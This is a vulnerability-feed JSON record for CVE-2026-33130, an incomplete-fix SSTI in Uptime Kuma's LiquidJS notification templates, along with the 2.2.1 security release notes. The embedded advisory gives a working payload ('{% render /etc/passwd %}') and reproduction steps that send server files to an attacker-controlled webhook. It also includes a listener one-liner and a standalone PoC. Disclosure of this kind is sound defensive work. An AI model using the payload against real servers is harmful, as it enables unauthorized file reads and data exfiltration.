{"vuln_id":"CVE-2026-33130","aliases":["GHSA-v832-4r73-wx5j","GHSA-vffh-c9pq-4crh","GHSA-wmfp-5q7x-987x"],"description":"Another Server-side Template Injection (SSTI) in Notification Templates Allows Arbitrary File Read","published_at":"2026-03-16T05:46:42Z","modified_at":"2026-03-17T21:53:53Z","first_seen_at":"2026-11-22T13:40:14.912488Z","severity":"medium","severity_source":"ghsa","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","cwe":["CWE-98","CWE-1336"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":0.00387,"epss_percentile":0.33499,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://nvd.nist.gov/vuln/detail/CVE-2026-33130"},"matched_alias":null,"items":[{"id":12011,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-v832-4r73-wx5j / CVE-2026-33130: Another Server-side Template Injection (SSTI) in Notification Templates Allows Arbitrary File Read","summary":"Another Server-side Template Injection (SSTI) in Notification Templates Allows Arbitrary File Read\n\n# Incomplete fix for GHSA-vffh-c9pq-4crh\r\n\r\n**Version:** 2.1.3, LiquidJS 10.24.0\r\n**Related:** GHSA-vffh-c9pq-4crh (marked patched in 2.0.0)\r\n\r\n## What's happening\r\n\r\nThe fix from GHSA-vffh-c9pq-4crh doesn't fully work. The three mitigations added to the Liquid engine (`root`, `relativeReference`, `dynamicPartials`) only block quoted paths. If you use an unquoted absolute path, you can still read any file on the server:\r\n\r\n```\r\n{% render /etc/passwd %}\r\n```\r\n\r\nI reproduced this end-to-end on 2.1.3 and still got the full `/etc/passwd` contents sent to a webhook endpoint.\r\n\r\n## Why the current fix doesn't work\r\n\r\nThe mitigations in `notification-provider.js` are:\r\n\r\n```javascript\r\nconst engine = new Liquid({\r\n    root: \"./no-such-directory-uptime-kuma\",\r\n    relativeReference: false,\r\n    dynamicPartials: false,\r\n});\r\n```\r\n\r\nThese only protect the first two steps of LiquidJS's file resolution. There's a third step, a `require.resolve()` fallback at `liquid.node.js:2793-2796`, that has **no containment check at all**:\r\n\r\n```javascript\r\n// liquid.node.js line 2793-2796\r\nif (fs.fallback !== undefined) {\r\n    const filepath = fs.fallback(file);  // calls require.resolve(), no contains() check\r\n    if (filepath !== undefined)\r\n        yield filepath;\r\n}\r\n```\r\n\r\nThe reason quoted paths are blocked is just a quirk: `readFileNameTemplate()` keeps the literal quote characters, so `require.resolve('\"/etc/passwd\"')` fails with `MODULE_NOT_FOUND`. Without quotes, `require.resolve('/etc/passwd')` happily returns the real path.\r\n\r\n## Who can exploit this\r\n\r\nAny authenticated user since there's no RBAC in Uptime Kuma. The notification handlers only call `checkLogin(socket)`, so any compromised login can set up a malicious template.\r\n\r\n## Steps to reproduce\r\n\r\n1. Log in to Uptime Kuma\r\n2. Go to any monitor → Edit → Set Up Notification\r\n3. Pick **Webhook**, set Post URL to an endpoint you control\r\n4. Change Request Body to **Custom Body**\r\n5. Enter: `{% render /etc/passwd %}`\r\n6. Click **Test**\r\n7. Check your listener > the full file contents are in the request body\r\n\r\nWorks with `{% include /etc/passwd %}` too. Any file readable by the Node process is fair game.\r\n\r\nFor a quick listener to catch the output:\r\n```bash\r\nnode -e \"require('http').createServer((req,res)=>{let b='';req.on('data',c=>b+=c);req.on('end',()=>{console.log(b);res.end('ok')})}).listen(9999)\"\r\n```\r\n\r\n## Standalone PoC (no running instance needed)\r\n\r\n```javascript\r\nconst { Liquid } = require(\"liquidjs\");\r\nconst engine = new Liquid({\r\n    root: \"./no-such-directory-uptime-kuma\",\r\n    relativeReference: false,\r\n    dynamicPartials: false,\r\n});\r\nengine.render(engine.parse(\"{% render /etc/passwd %}\"), {}).then(console.log);\r\n```\r\n\r\n## Suggested fix\r\n\r\nRemove the file-inclusion tags from the engine. Notification templates shouldn't need them:\r\n\r\n```javascript\r\nconst engine = new Liquid({ ... });\r\ndelete engine.tags[\"render\"];\r\ndelete engine.tags[\"include\"];\r\ndelete engine.tags[\"layout\"];\r\n```\r\n\r\nThis b\n\nAffected packages: :uptime-kuma\nPatched: uptime-kuma 2.2.1","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-v832-4r73-wx5j","published_at":"2026-03-16T05:46:42Z","updated_at":"2026-03-17T21:53:53Z","fetched_at":"2026-11-22T13:40:14.883732Z","severity":"medium","cvss_score":6.5,"epss":0.00387,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"CVE-2026-33130","vuln_ids":["CVE-2026-33130","GHSA-V832-4R73-WX5J","GHSA-VFFH-C9PQ-4CRH","GHSA-WMFP-5Q7X-987X"],"tags":["repo-advisory","","CWE-98","CWE-1336","security","repo:louislam/uptime-kuma"],"cluster_id":11313,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12011","html":"https://vulnwatch.ve1ve2.com/item/12011"}},{"id":12696,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[SECURITY RELEASE] louislam/uptime-kuma 2.2.1","summary":"Fixes advisories: GHSA-v832-4r73-wx5j\n\nSecurity keywords: security, GHSA-V832-4R73-WX5J, GHSA-WMFP-5Q7X-987X\n\n### 🆕 New Features\r\n- #7109 feat: fluxer notification provider (Thanks @letruxux)\r\n- #7096 feat: set process.title to uptime-kuma (Thanks @Hill-98)\r\n\r\n### 🐞 Bug Fixes\r\n- #7121 fix: isParentActive return type to boolean (Thanks @terisikk)\r\n- #7110 fix(ui): fix fluxer input styling; make discord input hidden (Thanks @letruxux)\r\n- #6915 fix: removal of uptime ratio and avg. response time from prometheus metrics (Thanks @tr4nt0r)\r\n- #7101 fix: revert: remove @aws-sdk, @azure packages \r\n\r\n### ⬆️ Security Fixes\r\nGHSA-v832-4r73-wx5j - Another Server-side Template Injection (SSTI) in Notification Templates Allows Arbitrary File Read (fixed in upstream dependency LiquidJS, also see: https://github.com/harttle/liquidjs/security/advisories/GHSA-wmfp-5q7x-987x)\r\n\r\n### 🦎 Translation Contributions\r\n- #7119 #7099 chore: Translations Update from Weblate (Thanks @aindriu80 @Aluisio @cyril59310 @dodog @fabianovich @krmu @letruxux @maxisimonazzi @MrEddX)\r\n\r\n### Others\r\n- #7120 #7100 chore: Update dependencies \r\n","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.2.1","published_at":"2026-03-10T02:25:33Z","updated_at":null,"fetched_at":"2026-11-22T14:05:37.744918Z","severity":"medium","cvss_score":6.5,"epss":0.00387,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"CVE-2026-33130","vuln_ids":["CVE-2026-33130","GHSA-V832-4R73-WX5J","GHSA-VFFH-C9PQ-4CRH","GHSA-WMFP-5Q7X-987X"],"tags":["release","repo:louislam/uptime-kuma","security","stack","uptime-kuma"],"cluster_id":11313,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12696","html":"https://vulnwatch.ve1ve2.com/item/12696"}}]}